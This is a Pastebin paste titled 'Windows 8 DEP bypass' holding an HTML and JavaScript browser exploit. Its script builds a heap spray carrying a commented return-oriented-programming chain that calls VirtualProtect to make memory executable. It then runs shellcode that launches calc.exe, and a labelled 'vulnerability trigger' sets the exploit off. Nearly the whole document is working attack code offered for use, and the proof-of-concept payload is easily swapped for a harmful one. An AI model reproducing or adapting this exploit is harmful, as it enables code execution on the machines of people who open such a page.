MrAaMa

Windows 8 DEP bypass

Mar 27th, 2012
159
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <html>
  2. <!-- ROP completed--->
  3. <head>
  4. <Title>Windows 8 Calc payload</title>
  5. <script type="text/javascript">
  6. function ignite()    {
  7.     var carpet = 0x200;
  8.     var vftable = unescape("\x00% u0c10");
  9.     var pLand = "% u00fd% u0c10";
  10.     var pShell = "% u0000% u0c10";
  11.     var oldProt = "% u0000% u0c10";
  12.    
  13.     var heap = unescape("% u0101% u0102"
  14.                     +"% u0008% u0c10"
  15.                     +"% u0105% u0106"
  16.                     +"% u10c2% u7c34"//"% u0107% u0108" pop ecx;pop ecx;ret
  17.                     +"% u0109% u010a"//
  18.                     +"% u3134% u6d32"//"% u010b% u010c"//"% u6643% u6d6a" // mov eax,[esi]
  19.                     +"% u787f% u6d32"//"% u010d% u010e"// xchg eax,esi;aam 0ff;dec ecx;ret
  20.                     +"% u7b72% u6d83"//"% u010f% u0111" // pop edx;ret
  21.                     +"% u0000% u0c10"//% u0112% u0113" // will be popped in edx //
  22.                    +"% u2a30% u6d7f"//"% u0114% u0115" // mov ecx,esi;call [edx+50]
  23.                    +pLand//"% u0116% u0117" // Address in shellcode to land change it accordingly
  24.                    +"% ue8d4% u6d7f"//"% u0118% u0119"    // mov [ecx],eax;pop ebp;ret
  25.                    +"% u011a% u011b"// will be popped in ebp
  26.                    +"% u1b02% u7c34"//"% u011c% u011d" // dec ecx;ret
  27.                    +"% u1b02% u7c34"//"% u011e% u011f" // dec ecx;ret
  28.                    +"% u1b02% u7c34"//"% u0120% u0121" // dec ecx;ret
  29.                    +"% u1b02% u7c34"//"% u0122% u0123" // dec ecx;ret
  30.                    +"% u4edc% u7c34"//"% u0122% u0123" // pop eax;ret
  31.                    +oldProt//"% u0124% u0125" // pOldProtection
  32.                    +"% ue8d4% u6d7f"//"% u0126% u0127" // mov [ecx],eax;pop ebp;ret
  33.                    +"% u4edb% u7c34"//"% u0128% u0129" // pop ebx;pop eax;ret // needed in initial phase.
  34.                    +"% u1b02% u7c34"//"% u012a% u012b" // dec ecx;ret
  35.                    +"% u1b02% u7c34"//"% u012c% u012d" // dec ecx;ret
  36.                    +"% u4edb% u7c34"//"% u012e% u012f" // pop ebx;pop eax;ret
  37.                    +"% u2643% u7c34"//"% u0130% u0131" // xchg eax,esp;pop edi;add byte ptr ds:[eax],al;pop ecx,ret
  38.                    +"% u0040% u0000"//"% u0132% u0133" // newProptection = PAGE_READ_WRITE_EXECUTE
  39.                    +"% u1b02% u7c34"//"% u0134% u0135" // dec ecx;ret
  40.                    +"% u1b02% u7c34"//"% u0136% u0137" // dec ecx;ret
  41.                    +"% ue8d4% u6d7f"//"% u0138% u0139" // mov [ecx],eax;pop ebp;ret
  42.                    +"% u013a% u013b"// will be popped in ebp
  43.                    +"% u1b02% u7c34"//"% u013c% u013d" // dec ecx;ret
  44.                    +"% u1b02% u7c34"//"% u013e% u013f" // dec ecx;ret
  45.                    +"% u1b02% u7c34"//"% u0140% u0141" // dec ecx;ret
  46.                    +"% u1b02% u7c34"//"% u0142% u0143" // dec ecx;ret
  47.                    
  48.                    +"% u4edc% u7c34"//"% u0144% u0145" // pop eax;ret
  49.                    +"% u0000% u0010"//"% u0146% u0147" // Size
  50.                    +"% ue8d4% u6d7f"//"% u0148% u0149" // mov [ecx],eax;pop ebp;ret
  51.                    +"% u014a% u014b"// Will be popped in ebp.
  52.                    +"% u1b02% u7c34"//"% u014c% u014d" // dec ecx;ret
  53.                    +"% u1b02% u7c34"//"% u014e% u014f" // dec ecx;ret
  54.                    +"% u1b02% u7c34"//"% u0150% u0151" // dec ecx;ret
  55.                    +"% u1b02% u7c34"//"% u0152% u0153" // dec ecx;ret
  56.                    
  57.                    +"% u4edc% u7c34"//"% u0144% u0145" // pop eax;ret
  58.                    +pShell//"% u0146% u0147" // Address Of Shellcode block to change protection.
  59.                    +"% ue8d4% u6d7f"//"% u0148% u0149" // mov [ecx],eax;pop ebp;ret
  60.                    +"% u014a% u014b"// Will be popped in ebp.
  61. /*                    +"% u1b02% u7c34"//"% u014c% u014d" // dec ecx;ret
  62.                    +"% u1b02% u7c34"//"% u014e% u014f" // dec ecx;ret
  63.                    +"% u1b02% u7c34"//"% u0150% u0151" // dec ecx;ret
  64.                    +"% u1b02% u7c34"//"% u0152% u0153" // dec ecx;ret
  65. */                    +"% u4cc1% u7c34"//"% u0154% u0155" // pop eax;ret
  66.                    +"% u9611% u7c34"//"% u0156% u0157" // will be popped in eax. pop edi;pop ebx;pop ebp;ret
  67.                    +"% u347a% u7c34"//"% u0158% u0159" // push esi;push edi;call eax
  68.                    +"% u4edc% u7c34"//"% u015a% u015b" // pop eax;ret
  69.                    +"% u00e0% u0c10"//"% u015c% u015d" // will be popped in eax.
  70.                    
  71.                    /* Need to fix the ebp for proper landing on shellcode */
  72.                    +"% uc420% u6d99"// dec ebp;ret
  73.                    +"% uc420% u6d99"// dec ebp;ret
  74.                    +"% uc420% u6d99"// dec ebp;ret
  75.                    +"% uc420% u6d99"// dec ebp;ret
  76.                    
  77.                    
  78.                    +"% u1f0a% u7c34"//"% u015e% u015f" // mov esp,ecx;mov ecx[eax];mov eax,[eax+4];push eax;ret
  79.                    +"% u0160% u0161"
  80.                    +"% u28dd% u7c35"//"% u0162% u0163" // VirtualProtect
  81.                    +"% u0164% u0165"
  82.                    +"% u0166% u0167"
  83.                    +"% u0168% u0169"
  84.                    +"% u016a% u016b"
  85.                    +"% u016c% u016d"
  86.                    )
  87. /* Shellcode : */    +unescape("% u9090% u9090% u9090% u9090"
  88.                    +"% u585b" // pop ebx;pop eax;
  89.                    +"% u0a05% u0a13% u9000" // add eax,0a130a
  90.                    +"% u008b" // mov eax,[eax]
  91.                    +"% u056a" // push 05
  92.                    +"% uc581% u0128% u0000" // add ebp,114
  93.                    +"% u9055" // push ebp;nop
  94.                    +"% u1505% u04d6% u9000" // add eax,4d615
  95.                    +"% ud0ff" // call eax
  96.                    +"% uBBBB% uCCCC% uDDDD% uEEEE"
  97. /* command: */        +"% u6163% u636c% u652e% u6578% u0000% ucccc"    // calc.exe
  98.                    );
  99.        var vtable = unescape("\x04% u0c10");
  100.        while(vtable.length < 0x10000) {vtable += vtable;}
  101.        var heapblock = heap+vtable.substring(0,0x10000/2-heap.length*2);
  102.        while (heapblock.length<0x80000) {heapblock += heap+heapblock;}
  103.        var finalspray = heapblock.substring(0,0x80000 - heap.length - 0x24/2 - 0x4/2 - 0x2/2);
  104.        var spray = new Array();
  105.        for (var iter=0;iter<carpet;iter++){
  106.            spray[iter] = finalspray+heap;
  107.        }
  108. /* vulnerability trigger : */        
  109.        var arrobject = [0x444444444444];
  110.        for(;true;){(arrobject[0])++;}
  111. }
  112. </script>
  113. </head>
  114. <body>
  115. <applet src="test.class" width=10 height=10></applet>
  116. <input type=button value="Ignite" onclick="ignite()" />
  117. </body>
  118. </html>
Advertisement
Add Comment
Please, Sign In to add comment